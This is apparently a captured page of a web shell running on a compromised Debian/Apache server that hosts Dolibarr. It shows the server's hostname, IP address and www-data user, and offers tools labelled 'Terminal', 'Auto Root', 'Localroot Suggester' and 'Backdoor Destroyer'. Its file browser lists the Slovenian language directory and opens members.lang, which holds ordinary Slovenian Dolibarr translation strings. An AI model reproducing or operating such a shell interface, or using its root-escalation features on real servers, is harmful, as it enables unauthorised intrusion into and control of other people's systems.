Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
bdc.bdcloud.fr /
langs /
sl_SI /
Delete
Unzip
Name
Size
Permission
Date
Action
accountancy.lang
33.67
KB
-rwxr-x---
2023-04-04 15:48
admin.lang
180.16
KB
-rwxr-x---
2023-04-04 15:48
agenda.lang
8.81
KB
-rwxr-x---
2023-04-04 15:48
assets.lang
7.23
KB
-rwxr-x---
2023-04-04 15:48
banks.lang
9.27
KB
-rwxr-x---
2023-04-04 15:48
bills.lang
35.29
KB
-rwxr-x---
2023-04-04 15:48
blockedlog.lang
5.67
KB
-rwxr-x---
2023-04-04 15:48
bookmarks.lang
1.08
KB
-rwxr-x---
2023-04-04 15:48
boxes.lang
6.57
KB
-rwxr-x---
2023-04-04 15:48
cashdesk.lang
7.11
KB
-rwxr-x---
2023-04-04 15:48
categories.lang
5.3
KB
-rwxr-x---
2023-04-04 15:48
commercial.lang
3.93
KB
-rwxr-x---
2023-04-04 15:48
companies.lang
17.79
KB
-rwxr-x---
2023-04-04 15:48
compta.lang
18.52
KB
-rwxr-x---
2023-04-04 15:48
contracts.lang
5.2
KB
-rwxr-x---
2023-04-04 15:48
cron.lang
6.12
KB
-rwxr-x---
2023-04-04 15:48
datapolicy.lang
4.37
KB
-rwxr-x---
2023-04-04 15:48
deliveries.lang
1.37
KB
-rwxr-x---
2023-04-04 15:48
dict.lang
8.39
KB
-rwxr-x---
2023-04-04 15:48
donations.lang
1.43
KB
-rwxr-x---
2023-04-04 15:48
ecm.lang
2.93
KB
-rwxr-x---
2023-04-04 15:48
errors.lang
33.58
KB
-rwxr-x---
2023-04-04 15:48
eventorganization.lang
9.66
KB
-rwxr-x---
2023-04-04 15:48
exports.lang
11.17
KB
-rwxr-x---
2023-04-04 15:48
help.lang
1.29
KB
-rwxr-x---
2023-04-04 15:48
holiday.lang
7.43
KB
-rwxr-x---
2023-04-04 15:48
hrm.lang
3.67
KB
-rwxr-x---
2023-04-04 15:48
install.lang
19.29
KB
-rwxr-x---
2023-04-04 15:48
interventions.lang
4.29
KB
-rwxr-x---
2023-04-04 15:48
intracommreport.lang
1.37
KB
-rwxr-x---
2023-04-04 15:48
knowledgemanagement.lang
1.91
KB
-rwxr-x---
2023-04-04 15:48
languages.lang
4.03
KB
-rwxr-x---
2023-04-04 15:48
ldap.lang
1.77
KB
-rwxr-x---
2023-04-04 15:48
link.lang
538
B
-rwxr-x---
2023-04-04 15:48
loan.lang
1.53
KB
-rwxr-x---
2023-04-04 15:48
mailmanspip.lang
1.55
KB
-rwxr-x---
2023-04-04 15:48
mails.lang
11.11
KB
-rwxr-x---
2023-04-04 15:48
main.lang
39.52
KB
-rwxr-x---
2023-04-04 15:48
margins.lang
3.22
KB
-rwxr-x---
2023-04-04 15:48
members.lang
13.74
KB
-rwxr-x---
2023-04-04 15:48
modulebuilder.lang
15.39
KB
-rwxr-x---
2023-04-04 15:48
mrp.lang
6.78
KB
-rwxr-x---
2023-04-04 15:48
multicurrency.lang
2.33
KB
-rwxr-x---
2023-04-04 15:48
oauth.lang
2.39
KB
-rwxr-x---
2023-04-04 15:48
opensurvey.lang
3.41
KB
-rwxr-x---
2023-04-04 15:48
orders.lang
9.32
KB
-rwxr-x---
2023-04-04 15:48
other.lang
18.56
KB
-rwxr-x---
2023-04-04 15:48
partnership.lang
4.45
KB
-rwxr-x---
2023-04-04 15:48
paybox.lang
1.91
KB
-rwxr-x---
2023-04-04 15:48
paypal.lang
2.4
KB
-rwxr-x---
2023-04-04 15:48
printing.lang
2.61
KB
-rwxr-x---
2023-04-04 15:48
productbatch.lang
2.73
KB
-rwxr-x---
2023-04-04 15:48
products.lang
21.43
KB
-rwxr-x---
2023-04-04 15:48
projects.lang
17.37
KB
-rwxr-x---
2023-04-04 15:48
propal.lang
5.19
KB
-rwxr-x---
2023-04-04 15:48
receiptprinter.lang
3.51
KB
-rwxr-x---
2023-04-04 15:48
receptions.lang
2.75
KB
-rwxr-x---
2023-04-04 15:48
recruitment.lang
3.17
KB
-rwxr-x---
2023-04-04 15:48
resource.lang
1.26
KB
-rwxr-x---
2023-04-04 15:48
salaries.lang
1.59
KB
-rwxr-x---
2023-04-04 15:48
sendings.lang
3.53
KB
-rwxr-x---
2023-04-04 15:48
sms.lang
1.69
KB
-rwxr-x---
2023-04-04 15:48
stocks.lang
18.57
KB
-rwxr-x---
2023-04-04 15:48
stripe.lang
5.54
KB
-rwxr-x---
2023-04-04 15:48
supplier_proposal.lang
3.02
KB
-rwxr-x---
2023-04-04 15:48
suppliers.lang
2.86
KB
-rwxr-x---
2023-04-04 15:48
ticket.lang
20.19
KB
-rwxr-x---
2023-04-04 15:48
trips.lang
7.72
KB
-rwxr-x---
2023-04-04 15:48
users.lang
7.47
KB
-rwxr-x---
2023-04-04 15:48
website.lang
15.76
KB
-rwxr-x---
2023-04-04 15:48
withdrawals.lang
10.48
KB
-rwxr-x---
2023-04-04 15:48
workflow.lang
4.18
KB
-rwxr-x---
2023-04-04 15:48
zapier.lang
1.19
KB
-rwxr-x---
2023-04-04 15:48
Save
Rename
# Dolibarr language file - Source file is en_US - members MembersArea=Področje članstva MemberCard=Članska kartica SubscriptionCard=Naročniška kartica Member=Član Members=Člani ShowMember=Prikaži člansko kartico UserNotLinkedToMember=Uporabnik ni povezan s članstvom ThirdpartyNotLinkedToMember=Partner ni povezan s članom MembersTickets=List z naslovom članstva FundationMembers=Člani fundacije ListOfValidatedPublicMembers=Seznam potrjenih javnih članov ErrorThisMemberIsNotPublic=Ta član ni javen ErrorMemberIsAlreadyLinkedToThisThirdParty=Drug član (ime: <b>%s</b>, uporabniško ime: <b>%s</b>) je že povezan s partnerjem <b>%s</b>. Najprej odstranite to povezavo, ker partner ne more biti povezan samo s članom (in obratno). ErrorUserPermissionAllowsToLinksToItselfOnly=Zaradi varnostnih razlogov, morate imeti dovoljenje za urejanje vseh uporabnikov, če želite povezati člana z uporabnikom, ki ni vaš. SetLinkToUser=Povezava z Dolibarr uporabnikom SetLinkToThirdParty=Povezava z Dolibarr partnerjem MemberCountersArePublic=Števci veljavnih članov so javni MembersCards=Izdelava izkaznic za člane MembersList=Seznam članov MembersListToValid=Seznam predlaganih članov (potrebna potrditev) MembersListValid=Seznam potrjenih članov MembersListUpToDate=Seznam veljavnih članov s posodobljenim prispevkom MembersListNotUpToDate=Seznam veljavnih članov z zastarelim prispevkom MembersListExcluded=Seznam izključenih članov MembersListResiliated=Seznam izključenih članov MembersListQualified=Seznam kvalificiranih članov MenuMembersToValidate=Predlagani člani MenuMembersValidated=Potrjeni člani MenuMembersExcluded=Izključeni člani MenuMembersResiliated=Izključeni člani MembersWithSubscriptionToReceive=Člani s prispevkom za prejemanje MembersWithSubscriptionToReceiveShort=Prispevki za prejemanje DateSubscription=Datum včlanitve DateEndSubscription=Končni datum članstva EndSubscription=Konec članstva SubscriptionId=ID prispevka WithoutSubscription=Without membership WaitingSubscription=Membership pending MemberId=ID člana MemberRef=Član Ref NewMember=Nov član MemberType=Tip člana MemberTypeId=ID tipa člana MemberTypeLabel=Naziv tipa člana MembersTypes=Tipi članov MemberStatusDraft=Osnutek (potrebno potrditi) MemberStatusDraftShort=Osnutek MemberStatusActive=Potrjeno (čakajoč prispevek) MemberStatusActiveShort=Potrjen MemberStatusActiveLate=Prispevek je potekel MemberStatusActiveLateShort=Pretečen MemberStatusPaid=Posodobljene članarine MemberStatusPaidShort=Posodobljene MemberStatusExcluded=Izključen član MemberStatusExcludedShort=Izključeno MemberStatusResiliated=Izključen član MemberStatusResiliatedShort=Prekinjeno MembersStatusToValid=Predlagani člani MembersStatusExcluded=Izključeni člani MembersStatusResiliated=Izključeni člani MemberStatusNoSubscription=Potrjeno (prispevek ni potreben) MemberStatusNoSubscriptionShort=Potrjen SubscriptionNotNeeded=Prispevek ni potreben NewCotisation=Nov prispevek PaymentSubscription=Plačilo novega prispevka SubscriptionEndDate=Končni datum članstva MembersTypeSetup=Nastavitev tipa članov MemberTypeModified=Vrsta člana spremenjena DeleteAMemberType=Izbrišite vrsto člana ConfirmDeleteMemberType=Ali ste prepričani, da želite izbrisati to vrsto člana? MemberTypeDeleted=Vrsta člana izbrisana MemberTypeCanNotBeDeleted=Vrste člana ni mogoče izbrisati NewSubscription=Nov prispevek NewSubscriptionDesc=Ta obrazec omogoča zabeležko vaše članarine kot novega člana zdručenja. Če želite obnoviti članarino (če ste že član), prosimo raje kontaktirajte vodstvo združenja po emailu %s. Subscription=Prispevek AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s AnyAmountWithoutAdvisedAmount=Any amount of your choice CanEditAmountShort=Kakršen koli znesek CanEditAmountShortForValues=priporočljiva, poljubna količina MembershipDuration=Trajanje GetMembershipButtonLabel=Join Subscriptions=Prispevki SubscriptionLate=Zamujen SubscriptionNotReceived=Prispevek ni bil nikoli prejet ListOfSubscriptions=Seznam prispevkov SendCardByMail=Pošljite kartico po e-pošti AddMember=Ustvari člana NoTypeDefinedGoToSetup=Tipi članov niso določeni. Pojdite v Nastavitve – ipi članov NewMemberType=Nov tip člana WelcomeEMail=Pozdravno e-poštno sporočilo SubscriptionRequired=Potreben je prispevek DeleteType=Izbriši VoteAllowed=Dovoljeno glasovanje Physical=Posameznik Moral=Corporation MorAndPhy=Korporacija in posameznik Reenable=Ponovno omogoči ExcludeMember=Izključi člana Exclude=Izključi ConfirmExcludeMember=Ali ste prepričani, da želite izključiti tega člana? ResiliateMember=Prekinite člana ConfirmResiliateMember=Ali ste prepričani, da želite prekiniti tega člana? DeleteMember=Izbriši člana ConfirmDeleteMember=Ali ste prepričani, da želite izbrisati tega člana (Če izbrišete člana, boste izbrisali vse njegove prispevke)? DeleteSubscription=Izbriši naročnino ConfirmDeleteSubscription=Ali ste prepričani, da želite izbrisati ta prispevek? Filehtpasswd=Datoteka htpasswd ValidateMember=Potrdi člana ConfirmValidateMember=Ali ste prepričani, da želite potrditi tega člana? FollowingLinksArePublic=Naslednje povezave so odprte strani, ki niso zaščitene z nobenim dovoljenjem Dolibarr. Niso oblikovane strani, podane so kot primer, ki prikazuje, kako navesti bazo podatkov članov. PublicMemberList=Javni seznam članov BlankSubscriptionForm=Javni obrazec za samoprijavo BlankSubscriptionFormDesc=Dolibarr vam lahko zagotovi javni URL/spletno mesto, ki zunanjim obiskovalcem omogoča, da zahtevajo naročnino na fundacijo. Če je omogočen spletni plačilni modul, se lahko samodejno zagotovi tudi plačilni obrazec. EnablePublicSubscriptionForm=Omogočite javno spletno stran s samoprijavnico ForceMemberType=Vsili vrsto člana ExportDataset_member_1=Člani in prispevki ImportDataset_member_1=Člani LastMembersModified=Najnovejši %s spremenjeni člani LastSubscriptionsModified=Najnovejši %s spremenjeni prispevki String=Niz Text=Tekst Int=Int DateAndTime=Datum in ura PublicMemberCard=Javna kartica člana SubscriptionNotRecorded=Prispevek ni zabeležen AddSubscription=Ustvari prispevek ShowSubscription=Prikaži prispevek # Label of email templates SendingAnEMailToMember=Pošiljanje e-pošte z informacijami članu SendingEmailOnAutoSubscription=Pošiljanje e-pošte ob samodejni registraciji SendingEmailOnMemberValidation=Pošiljanje e-pošte ob potrditvi novega člana SendingEmailOnNewSubscription=Pošiljanje e-pošte o novem prispevku SendingReminderForExpiredSubscription=Pošiljanje opomnikov za potekle prispevke SendingEmailOnCancelation=Pošiljanje e-pošte ob preklicu SendingReminderActionComm=Pošiljanje opomnika za dnevni red dogodka # Topic of email templates YourMembershipRequestWasReceived=Vaše članstvo je bilo prejeto. YourMembershipWasValidated=Vaše članstvo je bilo potrjeno YourSubscriptionWasRecorded=Vaš novi prispevek je bil zabeležen SubscriptionReminderEmail=opomnik za prispevke YourMembershipWasCanceled=Vaše članstvo je bilo preklicano CardContent=Vsebina vaše članske kartice # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Želimo vas obvestiti, da smo prejeli vašo prošnjo za članstvo. <br> <br> ThisIsContentOfYourMembershipWasValidated=Želimo vas obvestiti, da je bilo vaše članstvo potrjeno z naslednjimi informacijami: <br> <br> ThisIsContentOfYourSubscriptionWasRecorded=Obveščamo vas, da je bila vaša nova naročnina zabeležena. Tukaj je priložen vaš račun. <br> <br> ThisIsContentOfSubscriptionReminderEmail=Želimo vas obvestiti, da bo vaša naročnina kmalu potekla ali je že potekla (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Upamo, da ga boste obnovili. <br> <br> ThisIsContentOfYourCard=To je povzetek informacij, ki jih imamo o vas. Prosimo, kontaktirajte nas, če je karkoli narobe. <br> <br> DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Zadeva prejetega e-poštnega obvestila v primeru samodejnega vpisa gosta DescADHERENT_AUTOREGISTER_NOTIF_MAIL=Vsebina obvestila, prejetega v primeru samodejnega vpisa gosta DescADHERENT_EMAIL_TEMPLATE_AUTOREGISTER=E-poštna predloga za pošiljanje e-pošte članu ob samodejni registraciji člana DescADHERENT_EMAIL_TEMPLATE_MEMBER_VALIDATION=E-poštna predloga za pošiljanje e-pošte članu ob potrditvi članstva DescADHERENT_EMAIL_TEMPLATE_SUBSCRIPTION=E-poštna predloga za pošiljanje e-pošte članu o novem posnetku prispevka DescADHERENT_EMAIL_TEMPLATE_REMIND_EXPIRATION=E-poštna predloga za pošiljanje e-poštnega opomnika, ko bo prispevek potekel DescADHERENT_EMAIL_TEMPLATE_CANCELATION=E-poštna predloga za pošiljanje e-pošte članu ob preklicu članstva DescADHERENT_EMAIL_TEMPLATE_EXCLUSION=E-poštna predloga za pošiljanje e-pošte članu ob izključitvi člana DescADHERENT_MAIL_FROM=E-pošta pošiljatelja za samodejna e-poštna sporočila DescADHERENT_ETIQUETTE_TYPE=Format nalepk DescADHERENT_ETIQUETTE_TEXT=Tekst na evidenčnem listu člana DescADHERENT_CARD_TYPE=Format kartic DescADHERENT_CARD_HEADER_TEXT=Tekst v glavi članske kartice DescADHERENT_CARD_TEXT=Tekst na članski kartici DescADHERENT_CARD_TEXT_RIGHT=Tekst na članski kartici (desna poravnava) DescADHERENT_CARD_FOOTER_TEXT=Tekst na dnu članske kartice ShowTypeCard=Prikaži tip '%s' HTPasswordExport=Ustvarjanje htpassword datoteke NoThirdPartyAssociatedToMember=Noben partner ni povezana s tem članom MembersAndSubscriptions=Člani in prispevki MoreActions=Dopolnilna aktivnost pri zapisovanju MoreActionsOnSubscription=Dodatno dejanje, ki je privzeto predlagano ob beleženju prispevka, se izvede tudi samodejno ob spletnem plačilu prispevka MoreActionBankDirect=Ustvarite neposreden vnos na bančni račun MoreActionBankViaInvoice=Ustvarite račun in plačilo na TRR MoreActionInvoiceOnly=Ustvarjanje računa brez plačila LinkToGeneratedPages=Izdelava vizitk ali listov z naslovi LinkToGeneratedPagesDesc=Ta prikaz vam omogoča, da ustvarite PDF datoteke z vizitkami za vse vaše člane ali določene člane. DocForAllMembersCards=Ustvari vizitke za vse člane (Format za izhod dejanske nastavitve: <b>%s)</b> DocForOneMemberCards=Ustvari vizitke za določenega člana (Format za izhod dejanske nastavitve: <b>%s)</b> DocForLabels=Ustvari seznam naslovov (Format za izhod dejanske nastavitve: <b>%s)</b> SubscriptionPayment=Plačilo prispevka LastSubscriptionDate=Datum zadnjega plačila prispevka LastSubscriptionAmount=Znesek zadnjega prispevka LastMemberType=Vrsta zadnjega člana MembersStatisticsByCountries=Statistika članov po državah MembersStatisticsByState=Statistika članov po deželah MembersStatisticsByTown=Statistika članov po mestih MembersStatisticsByRegion=Statistika članov po regijah NbOfMembers=Skupno število članov NbOfActiveMembers=Skupno število trenutno aktivnih članov NoValidatedMemberYet=Najdeni so nepotrjeni člani MembersByCountryDesc=Ta zaslon prikazuje statistiko članov po državah. Grafi in diagrami so odvisni od razpoložljivosti Googlove spletne storitve grafov ter od razpoložljivosti delujoče internetne povezave. MembersByStateDesc=Ta zaslon vam prikazuje statistiko članov po državi/provincah/kantonu. MembersByTownDesc=Ta zaslon prikazuje statistiko članov po mestih. MembersByNature=Ta zaslon prikazuje statistiko članov po naravi. MembersByRegion=Ta zaslon prikazuje statistiko članov po regijah. MembersStatisticsDesc=Izberite statistiko, ki jo želite prebrati... MenuMembersStats=Statistika LastMemberDate=Zadnji datum članstva LatestSubscriptionDate=Zadnji datum prispevka MemberNature=Narava člana MembersNature=Narava članov Public=Informacije so javne NewMemberbyWeb=Dodan je nov član. Čaka potrditev. NewMemberForm=Obrazec za nove člane SubscriptionsStatistics=Statistika prispevkov NbOfSubscriptions=Število prispevkov AmountOfSubscriptions=Znesek, zbran s prispevki TurnoverOrBudget=Obseg prodaje (za podjetje) ali proračun (za fundacijo) DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) MinimumAmount=Minimum amount (used only when contribution amount is free) CanEditAmount=Subscription amount is free CanEditAmountDetail=Obiskovalec lahko izbere/uredi višino svojega prispevka ne glede na vrsto člana AmountIsLowerToMinimumNotice=sur un dû total de %s MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=Po naravi MembersStatisticsByProperties=Statistika članov po naravi VATToUseForSubscriptions=Stopnja DDV za prispevke NoVatOnSubscription=Brez DDV za prispevke ADHERENT_PRODUCT_ID_FOR_SUBSCRIPTIONS=Izdelek, ki se uporablja za vrstico prispevka na računu: %s NameOrCompany=Ime ali podjetje SubscriptionRecorded=Prispevek zabeležen NoEmailSentToMember=Članu ni bilo poslano nobeno e-poštno sporočilo EmailSentToMember=E-pošta je bila poslana članu na %s SendReminderForExpiredSubscriptionTitle=Pošlji opomnik po e-pošti za potekle prispevke SendReminderForExpiredSubscription=Pošlji opomnik po e-pošti članom, ko bo prispevek potekel (parameter je število dni pred koncem članstva za pošiljanje opomina. Lahko je seznam dni, ločenih s podpičjem, na primer '10;5;0;-5 ') MembershipPaid=Članarina plačana za tekoče obdobje (do %s) YouMayFindYourInvoiceInThisEmail=Račun lahko najdete v prilogi tega e-poštnega sporočila XMembersClosed=%s član(-i) zaprt XExternalUserCreated=%s ustvarjeni zunanji uporabniki ForceMemberNature=Narava člana sile (posameznik ali družba) CreateDolibarrLoginDesc=Izdelava uporabniške prijave za člane omogoča povezavo z aplikacijo. Odvisno od podeljenih pooblastil si bodo lahko na primer sami ogledali ali spremenili svojo datoteko. CreateDolibarrThirdPartyDesc=Tretja oseba je pravna oseba, ki bo navedena na računu, če se odločite za izstavitev računa za vsak prispevek. Ustvarili ga boste lahko kasneje med postopkom snemanja prispevka. MemberFirstname=Ime člana MemberLastname=Priimek člana MemberCodeDesc=Member Code, unique for all members